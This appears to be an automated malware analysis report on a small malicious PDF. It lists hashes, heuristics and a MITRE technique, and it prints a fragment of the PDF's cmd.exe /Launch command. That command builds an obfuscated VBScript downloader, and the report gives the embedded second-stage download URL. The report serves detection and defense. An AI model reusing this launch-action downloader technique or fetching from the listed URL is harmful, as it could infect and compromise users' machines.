PDF malware analysis — malicious · c79d4efef574a684

MALICIOUS

PDF

788 B

MD5: 5469f3c26e19282cb90e0346eb799b62 SHA-1: 4bc766ace13ca08af18803d07e5c0c0fc36a35e3 SHA-256: c79d4efef574a6842b71771dd4cac68400db89f1e54fa32bb15cb06c331fc25e

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell

The PDF file contains a launch action that executes cmd.exe. This command decodes a VBScript payload by concatenating strings and then uses the Scripting.FileSystemObject to write and execute it. The script likely downloads a second-stage payload from the embedded URL http://06.4406sdu.co.cc/x/img.php?d=1. The obfuscated nature of the command and script suggests a downloader or droppper functionality.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://06.4406sdu.co.cc/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.